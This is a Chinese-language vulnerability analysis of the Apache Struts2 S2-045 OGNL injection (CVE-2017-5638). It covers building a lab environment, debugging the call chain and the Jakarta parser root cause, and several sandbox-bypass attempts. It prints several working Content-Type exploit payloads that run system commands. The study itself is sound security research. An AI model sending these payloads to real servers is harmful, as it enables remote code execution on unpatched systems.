代码审计 | Struts2 —— S2-045 OGNL 注入与三重沙箱绕过分析
CVE-2017-5638 · Apache Struts2 · Jakarta 多部分解析器 RCE
目录
环境搭建
用 vulhub 直接起环境,省事:
git clone https://github.com/vulhub/vulhub.git
cd vulhub/struts2/s2-045
docker-compose up -d
起来之后访问 http://127.0.0.1:8080:
这里用 yakit 抓个包:
这是正常的响应包:
Content-Type: multipart/form-data; boundary=----WebKitFormBoundaryzlnKBM4ABUiDAvZG
漏洞触发验证
先把 Content-Type 那一行整个换成下面这个,做个 OGNL 数学计算验证,确认表达式是否被执行:
Content-Type: %{(#test='multipart/form-data').(#dm=@ognl.OgnlContext@DEFAULT_MEMBER_ACCESS).(#_memberAccess?(#_memberAccess=#dm):((#container=#context['com.opensymphony.xwork2.ActionContext.container']).(#ognlUtil=#container.getInstance(@com.opensymphony.xwork2.ognl.OgnlUtil@class)).(#ognlUtil.getExcludedPackageNames().clear()).(#ognlUtil.getExcludedClasses().clear()).(#context.setMemberAccess(#dm)))).(#cmd='id').(#iswin=(@java.lang.System@getProperty('os.name').toLowerCase().contains('win'))).(#cmds=(#iswin?{'cmd.exe','/c',#cmd}:{'/bin/sh','-c',#cmd})).(#p=new java.lang.ProcessBuilder(#cmds)).(#p.redirectErrorStream(true)).(#process=#p.start()).(#ros=(@org.apache.struts2.ServletActionContext@getResponse().getOutputStream())).(@org.apache.commons.io.IOUtils@copy(#process.getInputStream(),#ros)).(#ros.flush())}
发包,命令成功执行并回显:
Payload 逐段拆解
先把这个 payload 拆开看,整体是一个 OGNL 表达式链,塞在 Content-Type 头里。
%{...} 是什么
%{...} 是 Struts2 的 OGNL 表达式标记,整个链用 . 串联,分几段。
OGNL 里用 (expr1).(expr2) 这种形式来串联多个表达式,每个括号是一个独立的子表达式,点号把它们连起来顺序执行。点号串联的返回值是最后一个表达式的结果,前面的表达式主要是为了副作用(比如赋值、修改状态)。
举个简单例子:
(#a=1).(#b=2).(#a+#b) // 返回 3,但前两步赋值的副作用都生效了
完整 payload 注释版
%{
(#test='multipart/form-data'). // 伪造正常的 multipart 请求,骗过 Content-Type 检测
(#dm=@ognl.OgnlContext@DEFAULT_MEMBER_ACCESS). // 获取 OGNL 最高权限的 MemberAccess 对象
(#_memberAccess? // 三元判断:_memberAccess 存在(低版本)?
(#_memberAccess=#dm) // 是 → 直接替换为最高权限,完成沙箱逃逸
:((#container=#context['com.opensymphony.xwork2.ActionContext.container']). // 否 → 从 context 拿 IoC 容器
(#ognlUtil=#container.getInstance(@com.opensymphony.xwork2.ognl.OgnlUtil@class)). // 从容器获取 OgnlUtil 实例
(#ognlUtil.getExcludedPackageNames().clear()). // 清空包名黑名单
(#ognlUtil.getExcludedClasses().clear()). // 清空类黑名单
(#context.setMemberAccess(#dm)))). // 设置最高权限,完成沙箱逃逸
(#cmd='id'). // 要执行的命令
(#iswin=(@java.lang.System@getProperty('os.name').toLowerCase().contains('win'))). // 判断是否 Windows 系统
(#cmds=(#iswin?{'cmd.exe','/c',#cmd}:{'/bin/sh','-c',#cmd})). // 根据系统构造命令数组
(#p=new java.lang.ProcessBuilder(#cmds)). // 创建 ProcessBuilder 准备起子进程
(#p.redirectErrorStream(true)). // stderr 合并到 stdout,避免漏输出
(#process=#p.start()). // 启动子进程执行命令
(#ros=(@org.apache.struts2.ServletActionContext@getResponse().getOutputStream())). // 拿到 HTTP Response 的输出流
(@org.apache.commons.io.IOUtils@copy(#process.getInputStream(),#ros)). // 把命令执行结果 copy 到响应流
(#ros.flush()) // 刷新输出流,回显到 HTTP 响应
}
补充:为什么要先判断
#_memberAccess?Struts2 不同版本对 OGNL 上下文的暴露方式不一样。低版本中
_memberAccess可以直接从上下文访问并赋值,而高版本加了额外保护,所以 payload 里做了三元判断来兼容两种情况。这也是公开 payload 里那段看起来很绕的结构的原因。
手动搭建复现环境
为了更好地理解漏洞触发链,自己搭一个最小化的复现环境来单步调试。
pom.xml
核心依赖就两个,struts2-core 和 Jakarta 的 multipart 解析器:
<dependency>
<groupId>org.apache.struts</groupId>
<artifactId>struts2-core</artifactId>
<version>2.3.28</version>
</dependency>
<!-- Jakarta multipart 解析器依赖 -->
<dependency>
<groupId>commons-fileupload</groupId>
<artifactId>commons-fileupload</artifactId>
<version>1.3.1</version>
</dependency>
web.xml — Struts2 的入口
<filter>
<filter-name>struts2</filter-name>
<filter-class>org.apache.struts2.dispatcher.ng.filter.StrutsPrepareAndExecuteFilter</filter-class>
</filter>
<filter-mapping>
<filter-name>struts2</filter-name>
<url-pattern>/*</url-pattern>
</filter-mapping>
src/main/resources/struts.xml
<?xml version="1.0" encoding="UTF-8"?>
<!DOCTYPE struts PUBLIC
"-//Apache Software Foundation//DTD Struts Configuration 2.3//EN"
"http://struts.apache.org/dtds/struts-2.3.dtd">
<struts>
<!-- 指定文件上传解析器用 Jakarta,漏洞触发点就在这个解析器里 -->
<!-- Struts2 有两个解析器可选:jakarta 和 cos,默认就是 jakarta -->
<!-- 这里显式声明一下,换成 cos 的话漏洞就触发不了 -->
<constant name="struts.multipart.parser" value="jakarta"/>
<!-- namespace="/" 表示根路径,extends="struts-default" 继承默认配置 -->
<!-- 里面包含了一堆拦截器,文件上传相关的拦截器也在里面 -->
<package name="default" namespace="/" extends="struts-default">
<action name="upload" class="com.demo.UploadAction">
<!-- execute() 返回 SUCCESS 跳这里 -->
<result name="success">/upload.jsp</result>
<!-- input 这个 result 比较关键 -->
<!-- Jakarta 解析器抛异常后 Struts2 会把请求导向 input 结果 -->
<!-- 在这个过程中才触发了错误消息的 OGNL 求值 -->
<result name="input">/upload.jsp</result>
</action>
</package>
</struts>
UploadAction.java
package com.demo;
import com.opensymphony.xwork2.ActionSupport;
import java.io.File;
// 继承 ActionSupport,拿到默认的 execute()、validate() 等基础实现
public class UploadAction extends ActionSupport {
private File upload; // 接收文件本体,名字对应表单的 name="upload"
private String uploadFileName; // 接收原始文件名,命名规则固定:字段名+FileName
private String uploadContentType; // 接收文件的 MIME 类型,命名规则固定:字段名+ContentType
@Override
public String execute() throws Exception {
// 啥都不干,直接返回 SUCCESS 跳到 upload.jsp,够触发漏洞就行
return SUCCESS;
}
// 下面全是标准 getter/setter,fileUpload 拦截器靠反射调这些 setter 注入数据
public File getUpload() { return upload; }
public void setUpload(File upload) { this.upload = upload; }
public String getUploadFileName() { return uploadFileName; }
public void setUploadFileName(String uploadFileName) { this.uploadFileName = uploadFileName; }
public String getUploadContentType() { return uploadContentType; }
public void setUploadContentType(String uploadContentType) { this.uploadContentType = uploadContentType; }
}
核心就一点:这个类本身没有任何业务逻辑,就是一个空壳,作用是让 fileUpload 拦截器能通过反射找到对应的 setter 完成注入。漏洞在拦截器执行之前就已经触发了,跟这个 Action 里写什么没有关系。
upload.jsp
<%@ page contentType="text/html;charset=UTF-8" %>
<html>
<body>
<!-- 提交到 /upload,对应 struts.xml 里 name="upload" 的 Action -->
<!-- 文件上传必须用 POST -->
<!-- 关键:告诉浏览器用 multipart 格式编码,Struts2 才会用 Jakarta 解析器处理 -->
<form action="/upload" method="post" enctype="multipart/form-data">
<!-- name="upload" 对应 Action 里的 upload 字段 -->
<input type="file" name="upload"/>
<input type="submit" value="上传"/>
</form>
</body>
</html>
最关键的是 enctype="multipart/form-data",没有这个请求就是普通表单,Content-Type 就是 application/x-www-form-urlencoded,Jakarta 解析器不会介入,漏洞触发不了。
访问 http://localhost:8080/upload.jsp,显示正常的表单界面:
正常请求流程梳理
先把正常请求的完整调用链搞清楚,这样后面看漏洞触发点的时候就知道是哪里出了问题。
struts-default.xml 里有自带的拦截器栈:
正常一次文件上传请求的完整流程:
浏览器访问 http://localhost:8080/upload.jsp
↓
upload.jsp 显示上传表单
↓
点击上传,表单提交到 action="upload"
↓
web.xml 里 StrutsPrepareAndExecuteFilter 拦截所有请求 /*
↓
检测请求头 Content-Type 包含 multipart/form-data
↓
包装成 MultiPartRequestWrapper,同时调用 JakartaMultiPartRequest.parse() 解析文件
↓
struts.xml 里找到 name="upload" 对应 com.demo.UploadAction
↓
按顺序执行 defaultStack 拦截器栈
↓
fileUpload 拦截器检测到是 MultiPartRequestWrapper
↓
反射找 Action 里的 setUpload()、setUploadFileName()、setUploadContentType()
↓
把解析好的文件数据注入到对应字段
↓
UploadAction.execute() 返回 SUCCESS
↓
struts.xml 里 result name="success" 指向 /upload.jsp
↓
回到 upload.jsp
调试验证 OGNL 执行
先确认 OGNL 表达式确实被执行了
修改数据包,把 Content-Type 改成:
Content-Type: %{1+1} multipart/form-data
因为直接这样看不到回显,需要在 jsp 里面添加:
<%@ taglib prefix="s" uri="/struts-tags" %>
<s:actionerror/>
<s:actionerror/> 的作用是把 ActionError 里的内容渲染到页面上:
然后就看到返回包里包含计算结果 2:
表达式被 OGNL 成功执行了,这里漏洞验证完毕。
源码调用栈分析
还是先根据 web.xml 里的 Struts2 监听器 StrutsPrepareAndExecuteFilter 里的 doFilter 为入口断点:
在这里面,进入 request = prepare.wrapRequest(request):
进入 request = dispatcher.wrapRequest(request):
String content_type = request.getContentType();
取出了请求包里的 ContentType,这里也就是 %{1+1} multipart/form-data。
接着是:
if (content_type != null && content_type.contains("multipart/form-data")) {
判断 Content-Type 是否包含 multipart/form-data。注意这里是直接判断是否包含字段,而不是严格比对,所以 %{1+1} multipart/form-data 也能通过这个检测。
然后进入:
request = new MultiPartRequestWrapper(mpr, request, getSaveDir(), provider, disableRequestAttributeValueStackLookup);
进入 multi.parse(request, saveDir),我们的表达式还在 request 里面,saveDir 是保存的临时路径。
parse 里就是检测格式的地方:
明显格式不对,所以会抛出异常:
这整个异常信息里带着我们的 payload:
content type header is %{1+1} multipart/form-data
这个 e.getMessage() 的值就是这整串字符串,接下来会被传进 buildErrorMessage():
String errorMessage = buildErrorMessage(e, new Object[]{});
这里面返回了 LocalizedTextUtil.findText,其中参数 e 就是包含 payload 的错误信息:
然后进入另一个 findText 方法,这里 defaultMessage 是错误信息:
经过一段非常长的查找,最后 indexedTextName 还是 null,进入:
result = getDefaultMessage(aTextName, locale, valueStack, args, defaultMessage);
这里 aTextName 是 struts.messages.upload.error.InvalidContentTypeException(错误信息里截取的部分),defaultMessage 是:
the request doesn't contain a multipart/form-data or multipart/mixed stream,
content type header is %{1+1} multipart/form-data
错误信息的另一部分,也包含了我们的表达式。
然后来到下面这行:
MessageFormat mf = buildMessageFormat(TextParseUtil.translateVariables(message, valueStack), locale);
buildMessageFormat 只是把结果格式化成消息,不重要。重点是 TextParseUtil.translateVariables(message, valueStack),这个就是会处理并计算 OGNL 表达式的地方。
注意:断点进入时不要直接进入,会默认进入
buildMessageFormat方法,需要手动点击进入translateVariables方法里面。
进入看到了:
这和之前看 S2-016 代码审计看到的是一样的,都是 OGNL 的处理逻辑——把表达式 %{} 里的内容提取出来,然后进入 OGNL 计算,得出 2:
漏洞根因总结
这整体看来基本和 S2-016 一样,只不过触发点不一样。代码会对 Content-Type 里的内容检测是否包含 multipart 字段,但后面的内容格式不对从而触发了异常抛出,而这个异常抛出会经过 OGNL 的检测计算逻辑,导致触发了漏洞。
S2-045 这个案例特别典型,因为它利用的是错误处理逻辑——开发者压根没想到异常消息也是用户可控的,防御意识完全没有覆盖到这里,这也是为什么这类漏洞危害这么大。
补充:为什么连错误、异常都要经过 OGNL 检测?
这是 Struts2 的国际化机制设计导致的,不是专门针对错误消息做 OGNL 求值,而是所有文本消息统一走这一套处理流程:
任何要显示给用户的文本 → 统一走 LocalizedTextUtil.findText() → 统一走 getDefaultMessage() → 统一走 TextParseUtil.translateVariables() → 统一做 OGNL 求值设计者本来想的是把错误信息做成国际化友好的提示,比如把
文件 test.jpg 上传失败,大小超过 10MB这种可读的消息渲染出来,而不是直接甩一堆 Java 异常堆栈给用户看。一个美化 UI 的小功能,变成了高危 RCE,挺经典的安全反例。
沙箱机制与绕过过程
第一步:直接 RCE 尝试,失败
1+1 证明了确实有漏洞,尝试构造 RCE 代码:
Content-Type: %{@java.lang.Runtime@getRuntime().exec('calc')}multipart/form-data
但是 calc 并没有执行:
调试一下看看具体是哪里出了问题。
可以看到 payload 依然被正常提取出来了,没有被拦截:
在这里可以看到传入的 var 是正常的 payload,但是返回的值却是 null:
说明 OGNL 里的检测肯定没有通过,检测机制在这里面:
然后断点进入:
然后是 node.getValue:
然后这里的 _hasConstantValue 是 false,进入 getValueBody(context, source),一大段都是处理索引属性的特殊情况:
来到最后一段的 _children[i].getValue():
然后就是又来到了这里,这似乎是因为 AST 树是嵌套的,每一层节点都要经过这个方法:
ASTChain.getValueBody() ← 第一次,处理整个链式调用
→ _children[0].getValue()
→ ASTStaticMethod.getValueBody() ← 第二次,处理 @Runtime@getRuntime()
→ _children[0].getValue()
→ ASTMethod.getValueBody() ← 第三次,处理 exec('calc')
就像俄罗斯套娃,外层节点调用内层节点,每层都要走一遍 evaluateGetValueBody,payload 被一层层拆解执行,直到最里层才真正触发方法调用和 isAccessible() 检查。
然后在这个 getValueBody 方法里面
payload 的参数方法被拆解了:
callStaticMethod 里:
然后就是 ma.callStaticMethod(context, targetClass, methodName, args):
这里是拦截点,判断 DENY_METHOD_EXECUTION 这个 flag。exec: null,e: false,走进了 if (!e) 分支,方法执行没有被拦截。
继续跟进 callStaticMethodWithDebugInfo():
进入,super.callStaticMethod 查找方法,相当于找到 getRuntime() 这个方法对象:
跟进 callAppropriateMethod(),看到了 isMethodAccessible(),如果没有通过就会直接抛出异常,不继续执行下面的代码,通过了才走到 invokeMethod() 真正执行 getRuntime():
而 isMethodAccessible() 就是沙箱检查,必须通过才能继续:
进入看看:
再次进入:
最后发现只有一个 return _memberAccess,而 _memberAccess 不是一个普通的参数,而是一个对象。.getMemberAccess() 之后就是 .isAccessible(),这里是真正的检测方法。
这两段拿到这两个 Class 对象用来后面的黑名单对比:
三个检测:
// 第一个:检查包名黑名单,比如 java.lang、ognl 这些包是否被禁止
// 第二个:检查调用者的类是否在黑名单里,比如 Runtime.class
// 第三个:检查方法声明所在的类是否在黑名单里,比如 Runtime.class
三个都没拦截才能走到最后:
// 父类的基础访问检查,比如 private/public 修饰符
先看看会不会被检测到。isPackageExcluded 这个方法里面有两个检测,第一个没有检测到,但是第二个检测到了,被拦截了,这就是 RCE 没有正常执行的原因:
这是对三个黑名单的检测
第二步:尝试 clear() 清空黑名单
针对这三个黑名单的检测,一般的审计都是要分析具体是什么被检测了、黑名单是什么。但是这个 payload 绕过不一样,非常暴力,直接把黑名单清空。
问题是:为什么能把黑名单清空,这个思路是怎么发现的?
在 SecurityMemberAccess 这个类里面有个 set 方法:
那是不是意味着可以直接 set 一个空的内容给黑名单?
理论上可以,但实际上不行,因为在 payload 里面是拿不到 SecurityMemberAccess 这个对象的。
SecurityMemberAccess 没有注册到 Struts2 的 IoC 容器里,OgnlUtil 注册了:
// OgnlUtil 在容器里注册了,可以通过 getInstance() 拿到
#container.getInstance(@com.opensymphony.xwork2.ognl.OgnlUtil@class)
// SecurityMemberAccess 没有注册,容器里找不到,拿不到实例
#container.getInstance(@com.opensymphony.xwork2.ognl.SecurityMemberAccess@class) // 返回 null
SecurityMemberAccess 是在每次请求时由 Struts2 内部创建的,不是单例,不在容器里管理,没有公开的获取途径,所以 payload 里没办法直接拿到它的实例。
选中 set 方法看是谁调用了它,找到了 OgnlUtil 里面:
可以看到这里还有其他的黑名单被创建,而 set 的参数是直接用的固定的值,这些值在初始化的时候就被建立:
OgnlUtil 类里面是有 set 和 get 方法的:
注意到 get 方法返回的是一个 Set 对象,Set 对象是自带 clear() 方法的,这样就能清空黑名单了。
总结一下整个闭环:SecurityMemberAccess 是由 OgnlUtil 创建的,OgnlUtil 对象是可以获取的,赋值的黑名单绑定的是 OgnlUtil 里的字段,只要把 OgnlUtil 里的字段清空,SecurityMemberAccess 的黑名单就也没了,而 OgnlUtil 里刚好有 get 方法获取这个字段,Set 对象自带 clear() 方法,这样就成了一个闭环:
OgnlUtil(容器里可获取)
→ 创建 SecurityMemberAccess
→ 把自己的 excludedPackageNames 引用传进去(同一块内存)
→ OgnlUtil 暴露了 getExcludedPackageNames() 方法
→ 拿到 Set 引用
→ Set 自带 clear()
→ 清空这块内存
→ SecurityMemberAccess 里的黑名单也空了
→ isPackageExcluded() 永远返回 false
→ java.lang.Runtime 放行
→ exec('calc') 执行
→ 弹计算器
根据这个思路构造 payload 试试:
Content-Type: %{(#container=#context['com.opensymphony.xwork2.ActionContext.container']).(#ognlUtil=#container.getInstance(@com.opensymphony.xwork2.ognl.OgnlUtil@class)).(#ognlUtil.getExcludedPackageNames().clear()).(#ognlUtil.getExcludedClasses().clear()).(#ognlUtil.getExcludedPackageNamePatterns().clear()).(@java.lang.Runtime@getRuntime().exec('calc'))}multipart/form-data
结果没有成功:
看来分析错了,这是高版本的绕过机制,现在这个版本不适合,还有其他沙箱没有绕过。
通过日志分析,还是识别并拦截了对 java.lang.Runtime 的调用:
对比了一下没有 clear() 的报错日志,发现是一样的,也就是说 clear() 的作用没有效果。经过调试,一直在那三个检测函数上循环,然后找到了被检测的地方:
clazz 是 java.lang.Class
这个判断是硬编码的,不是从黑名单里读的,clear() 清空黑名单对这里没有任何影响。
所以 Runtime 被拦截不是因为黑名单,而是因为访问 Runtime 时涉及到了 Class 对象,被这个硬编码的检测直接拦截了,clear() 根本解决不了这个问题。
第三步:尝试反射修改 allowStaticMethodAccess
注意硬编码里有个条件 !allowStaticMethodAccess,如果 allowStaticMethodAccess 是 true,这个检测就不会拦截:
跟进看这个字段在哪里定义,找 public SecurityMemberAccess(boolean method),找到了 OgnlUtil 里创建对象:
发现 OgnlUtil 里也只是:
private boolean allowStaticMethodAccess;
没有定义 false,但是 Java 里 boolean 类型的字段如果没有显式赋值,默认就是 false:
所以下一步就是想办法把 allowStaticMethodAccess 反射为 true。因为是私有的,需要反射修改:
(#f=#_memberAccess.getClass().getDeclaredField('allowStaticMethodAccess')).
(#f.setAccessible(true)).
(#f.set(#_memberAccess,true))
构造完整 payload:
POST /upload HTTP/1.1
Host: localhost:8080
Content-Type: %{(#f=#_memberAccess.getClass().getDeclaredField('allowStaticMethodAccess')).(#f.setAccessible(true)).(#f.set(#_memberAccess,true)).(#container=#context['com.opensymphony.xwork2.ActionContext.container']).(#ognlUtil=#container.getInstance(@com.opensymphony.xwork2.ognl.OgnlUtil@class)).(#ognlUtil.getExcludedPackageNames().clear()).(#ognlUtil.getExcludedClasses().clear()).(@java.lang.Runtime@getRuntime().exec('calc'))}multipart/form-data
Content-Length: 0
依然没有成功,然后发现在 isClassExcluded 里被拦截了:
查看黑名单发现:
SecurityMemberAccess 本身也在类黑名单里,所以对它用反射直接被拦截了。还是死循环:
对 _memberAccess 用反射
→ isClassExcluded(SecurityMemberAccess)
→ SecurityMemberAccess 在黑名单里
→ 被拦截
这条路也走不通。
第四步:绕过 SecurityMemberAccess 本身
既然不能改 SecurityMemberAccess 里面的内容,那能不能绕过 SecurityMemberAccess 本身?
因为这一整个检测都是在 SecurityMemberAccess 的 isAccessible 方法里的。还记得当时调试的代码是:
context.getMemberAccess().isAccessible(...)
context.getMemberAccess() 返回的就是 SecurityMemberAccess 对象
然后再执行 SecurityMemberAccess 里的 isAccessible 检测方法。注意这里是通过字段 _memberAccess 获取的:
那能不能直接反射改掉这个字段呢?
SecurityMemberAccess 是 Struts2 自定义的安全检测拦截对象,是通过继承 DefaultMemberAccess 实现的
而 DefaultMemberAccess 是 OGNL 自带的:
DefaultMemberAccess 的 isAccessible 方法里没有任何拦截:
找到创建的地方,在 OgnlContext 里:
虽然传入的是 false,这就意味着:
// public 直接 true
// false,private 不行
// false,protected 不行
就这么简单。而 Runtime.getRuntime() 和 exec() 都是 public 方法,所以直接放行,不影响漏洞利用。
思路就是把 _memberAccess 换成 DefaultMemberAccess 即可:
(#dm=@ognl.OgnlContext@DEFAULT_MEMBER_ACCESS).
(#_memberAccess=#dm).
(@java.lang.Runtime@getRuntime().exec('calc'))
构造完整 payload:
POST /upload HTTP/1.1
Host: localhost:8080
Content-Type: %{(#dm=@ognl.OgnlContext@DEFAULT_MEMBER_ACCESS).(#_memberAccess=#dm).(@java.lang.Runtime@getRuntime().exec('calc'))}multipart/form-data
Content-Length: 0
成功弹出计算器!
这意味着 (#dm=@ognl.OgnlContext@DEFAULT_MEMBER_ACCESS) 没有被检测到才能执行。访问的是 ognl.OgnlContext 这个类,包名是 ognl,黑名单里有 ognl,按理说应该被拦截。但是这里访问的是静态字段不是方法,走的检测路径不一样,这个版本对静态字段的访问检测没有对静态方法那么严格,所以能拿到 DEFAULT_MEMBER_ACCESS,拿到之后替换 _memberAccess,后续所有检测全部失效,直接执行 exec('calc')。
总结
漏洞触发链
Content-Type 包含 %{...} 且格式不合法
→ Jakarta 解析器抛异常
→ e.getMessage() 带出 Content-Type 值
→ buildErrorMessage() 无过滤传递
→ LocalizedTextUtil.findText()
→ getDefaultMessage()
→ TextParseUtil.translateVariables()
→ OGNL 求值
沙箱绕过思路演进
直接执行命令 → SecurityMemberAccess 拦截
↓
尝试 clear() 清黑名单 → 硬编码检测还在 → 被拦
↓
尝试反射改 allowStaticMethodAccess → SecurityMemberAccess 在类黑名单 → 被拦
↓
最终方案:直接替换 _memberAccess 为 DEFAULT_MEMBER_ACCESS
→ isAccessible() 只检查 public/private 修饰符
→ public 方法全部放行
→ 弹计算器 ✓
最终 payload(沙箱绕过)
(#dm=@ognl.OgnlContext@DEFAULT_MEMBER_ACCESS).
(#_memberAccess=#dm).
(@java.lang.Runtime@getRuntime().exec('calc'))
漏洞本质:Jakarta multipart 解析器在解析失败时,会把包含用户可控数据的异常消息原封不动地传入 Struts2 国际化文本处理流程,而该流程会对所有文本内容进行 OGNL 求值,导致任意代码执行。防御上,Struts2 后续版本对 OGNL 求值入口做了更严格的输入过滤,并且不再对异常消息内容进行 OGNL 处理。